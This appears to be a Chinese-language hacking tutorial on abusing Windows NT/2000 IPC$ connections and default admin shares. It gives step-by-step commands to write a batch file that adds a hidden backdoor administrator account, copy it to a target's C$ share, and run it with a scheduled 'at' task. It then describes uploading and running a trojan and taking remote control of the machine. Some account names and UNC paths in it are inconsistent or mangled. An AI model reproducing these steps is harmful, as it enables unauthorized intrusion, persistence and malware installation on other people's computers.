关于IPC$的使用笔记

IPC$(Internet Process Connection)是共享"命名管道"的资源，它是为了让进程间通信而开放的命名管道，通过提供可信任的用户名和口令，连接双方可以建立安全的通道并以此通道进行加密数据的交换，从而实现对远程计算机的访问。IPC$是NT/2000的一项新功能，它有一个特点，即在同一时间内，两个IP之间只允许建立一个连接。NT/2000在提供了ipc$功能的同时，在初次安装系统时还打开了默认共享，即所有的逻辑共享(c$,d$,e$……)和系统目录winnt或windows(admin$)共享。所有的这些，微软的初衷都是为了方便管理员的管理，但在有意无意中，导致了系统安全性的降低。
（1）为了配合IPC共享工作，Windows操作系统（不包括Windows 98系列）在安装完成后，自动设置共享的目录为：C盘、D盘、E盘、ADMIN目录（C:\WINNT\）等，即为ADMIN$、C$、D$、E$等等，但要注意，这些共享是隐藏的，只有管理员能够对他们进行远程操作。在MS-DOS中键入"net share"命令来查看本机共享资源。
（2）DOS的基本命令
DIR命令：列出当前路径下的文件，常常用来查看想要找的文件是否在该路径下。

CD命令：进入指定的目录。比如，想进入E盘中的CODE文件夹，则在E:\>下键"CD CODE"命令。

常用的net命令：
net user：系统账号类操作
net localgroup：系统组操作
net use：远程连接、映射操作
net time：查看远程主机系统时间
cls命令：清屏命令
netstart 命令：

（3）建立和断开IPC$连接

留后门账号
　　1、相关知识
　　①、什么是BAT文件？
　　BAT文件是在Windows系统中的一种文件格式，称为批处理文件。简单来说，就是把需要执行的一系列DOS命令按顺序先后写在一个后缀名为BAT的文本文件中。通过鼠标双击或DOS命令执行该BAT文件，就相当于执行一系列DOS命令。
　　②、什么是计划任务？
　　举个例子，假设想在明天上午10点给电脑杀毒，但是正好明天上午10点要出去办事，那怎么办呢？这时候就要使用"计划任务"这个功能，令计算机在明天上午10点自动执行杀毒程序。计划任务是Windows系统自带的功能，可以在控制面板中找到。除此之外，还可能用命令行的方式来添加计划任务。
　　③、相关DOS命令
　　copy命令：把一个文件拷贝到另一个地方，"另一个地方"可以是本地计算机的目录、磁盘，也可以是另一台主机的目录或磁盘。
　　at命令：用来建立计划任务。
　　net time命令：用来查看目标计算机的系统时间，以便使用计划任务指定时间。
　　net user命令：用来管理计算机上面的账号。
　　　　- 查看账号命令：net user
　　　　- 建立账号命令：net user name passwd /add
　　　　- 删除账号命令：net user name passwd /del
　　net localgroup命令：用来管理工作组。
　　2、实例：建立后门账号
步骤一：编写BAT文件。
　　　　打开记事本，键入"net user sysbak 123456 /add"和"net localgroup administrators sysback /add"命令，编写好命令后，把该文件另存为"hack.bat"。下面对这两个命令进行说明。
　命令一：net user sysbak 123456 /add。该命令表示添加用户名为sysback，密码为123456的账号。
参数说明：
　　　　　　"sysback"：用户名
　　　　　　"123456"：用户的密码
　　　　　　"/add"：表示添加账号
　　命令二：net localgroup administrators sysback /add。该命令表示把sysback添加到管理员组（administrators）。
　　　　参数说明：
　　　　　　"administrators"：表示管理员组
　　　　　　"sysback"：刚建立的用户名
　　　　　　"/add"：表示添加账号
步骤二：与目标主机建立IPC$连接。
使用命令：Net use \ip\ipc$ /user:用户名 密码
　　步骤三：拷贝文件至目标主机。
　　　　使用命令：copy FILE \IP\PATH
　　　　参数说明：
　　　　　　"FILE"表示本地的文件名
　　　　　　"IP"为目标主机的IP地址
　　　　　　"PATH"保存文件的路径
　　打开MS-DOS，键入"copy d:\hack.bat \192.168.27.128\c$"命令copy命令执行成功后，就已经把D盘下的hack.bat文件拷贝到192.168.27.128的C盘内。此外，也可以在图形界面下把hack.bat复制、粘贴到目标主机中。
　　步骤四：通过计划任务使远程主机执行hack.bat文件。
　　首先键入"net time \IP"命令查看远程主机的系统时间，再键入"at \IP TIME COMMAND"命令在远程主机上建立计划任务。
　　　　参数说明：
　　　　　　IP：目标主机IP
　　　　　　TIME：设定计划任务执行的时间
　　　　　　COMMAND：计划任务要执行的命令
　　打开MS-DOS，键入"net time \192.168.27.128"命令。假设回显的目标系统时间为13:33，然后根据该时间为远程主机建立计划任务。键入"at\192.168.27.128 13:45 c:\hack.bat"命令，该命令表示在下午13点45分执行目标主机C盘中的hack.bat文件。计划任务添加完毕后，使用命令"net use * /del"断开IPC$连接。
　　步骤五：验证账号是否成功建立。等待一段时间后，估计远程主机已经执行了hack.bat文件。下面通过建立IPC$连接来验证是否成功建立"sysback"账号。连接成功！说明管理员账号"sysback"已经成功建立。

结论：
（1）打开目标IPC$：
首先你需要获得一个不依赖于ipc$的shell，比如sql的cmd扩展、telnet、***。当然，这shell必须是admin权限的。然后你可以使用shell执行命令 net share ipc$ 来开放目标的ipc$。从上一问题可以知道，ipc$能否使用还有很多条件。请确认相关服务都已运行，没有就启动它（不知道怎么做的请看net命令的用法）。还是不行的话（比如有防火墙，杀不了）建议放弃。
（2）映射和访问默认共享：
使用命令 net use z: \目标IP\c$ "密码" /user:"用户名" 将对方的c盘映射为自己的z盘，其他盘类推。 如果已经和目标建立了ipc$，则可以直接用IP加盘符加$访问。比如 copy muma.exe
\IP\d$\path\muma.exe 。或者再映射也可以，只是不用用户名和密码了：net use y: \IP\d$ 。然后 copy muma.exe y:\path\muma.exe 。当路径中包含空格时，须用""将路径全引住。
（2）连接上IPC$后：
能使用管理员权限的帐号成功和目标连接ipc$，表示你可以和对方系统做深入"交流"了。你可以使用各种命令行方式的工具（比如pstools系列、Win2000SrvReskit、telnethack等）获得目标信息、管理目标的进程和服务等。如果目标开放了默认共享（没开你就帮他开），你就可以上传***并运行。也可以用tftp、ftp的办法上传。像dwrcc、VNC、RemoteAdmin等工具（***）还具有直接控屏的功能。如果是2000server， 还可以考虑开启终端服务方便控制。